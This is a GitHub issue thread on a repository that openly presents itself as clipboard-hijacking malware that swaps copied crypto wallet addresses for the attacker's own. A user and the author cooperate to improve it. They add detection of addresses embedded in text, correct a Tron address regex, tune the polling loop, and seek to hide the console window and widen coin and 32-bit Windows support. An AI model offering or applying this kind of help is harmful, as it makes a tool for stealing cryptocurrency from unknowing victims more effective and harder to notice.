V0ltic / Crypto-Clipper

Malware that replaces copied crypto addresses with yours.
Other
12 stars 7 forks source link

clipper doesn't grab wallet in text #2

Open jamiekarvans opened 1 year ago

jamiekarvans commented 1 year ago

hi thanx for the code, but clipper does only detects and exchange wallet if the wallet has been copied alone and it is not in middle of text or... i think it would be really nice if it detects it in middle of text aswell and replace it and return the value to clipboard without other text before or after the wallet adress has been changed

V0ltic commented 1 year ago

Thank you for the feedback, that's a great suggestion I'll keep it in mind and add it if I don't forget!

jamiekarvans commented 1 year ago

Thank you for the feedback, that's a great suggestion I'll keep it in mind and add it if I don't forget!

you forgot :D

my suggestion: loop the entire code to look for the patterns For each word in the clipboard using "For" command.

V0ltic commented 1 year ago

My bad, I've updated it now :)

jamiekarvans commented 1 year ago

great job thanx for the update

jamiekarvans commented 1 year ago

i've tried it now and is working perfectly nice job with that, except your algorithm for Tron is wrong idk which crypto algorithm is that for but that's not for trx:

here is what's in the code : std::string tron_regex = R"((?:^|\s)(\d{1,5}\s\w.\s(\b\w\b\s){1,2}\w.)(?=\s|$))";

but you should change it to : std::string tron_regex = R"((?:^|\s)(T[1-9A-HJ-NP-Za-km-z]{33})(?=\s|$))";

except for this everything else is working perfectly. btw let me know which algorithm was that for...

V0ltic commented 1 year ago

I must've put the wrong string inside the tokenizer because I can't seem to figure that one out either lol, I'll update it. Thank you for letting me know!

jamiekarvans commented 1 year ago

hey thanx for the update, what has changed and why delete dot clipper?

and forgot to tell you, the clipper is a bit buggy and doesn't change the wallet for the first time, but it will grab and change it after you paste it twice or...

V0ltic commented 1 year ago

You can't detect DOT using a specific string, you have to do some calculations (been some time since I read this somewhere) so I removed it since I didn't have time yet to add the new implementation. I'll look into your bug.

V0ltic commented 1 year ago

I've tried reproducing your issue, but I can't seem to. I think the issue you're having is because the clipper works with a loop checking your clipboard. What you could do is make the loop faster (but note this will make it use more CPU). Changing the sleep time to like 100 should be a lot smoother!

image

jamiekarvans commented 1 year ago

I've tried reproducing your issue, but I can't seem to. I think the issue you're having is because the clipper works with a loop checking your clipboard. What you could do is make the loop faster (but note this will make it use more CPU). Changing the sleep time to like 100 should be a lot smoother!

image

oh yea ofcourse, i totally missed it might be for loop time, thanx for mentioning it, also how much cpu does it use now and how much will it use with 100 sleep instead?

V0ltic commented 1 year ago

That depends on your CPU, myself I'm using a R9 5950X so not even 0.1% but that's normal as this CPU has 16 cores.

jamiekarvans commented 7 months ago

hey long time no see, how you've been doing? i was testing the builds with your code and i realized it opens a CMD console for a brief second of time, do you think you can fix that and also it would be nice to add more coins regex to it if possible.

and btw how to build it for 32 bit windows? it runs fine on windows 10 but sometimes it throws dll error MSVCP140.dll is missing.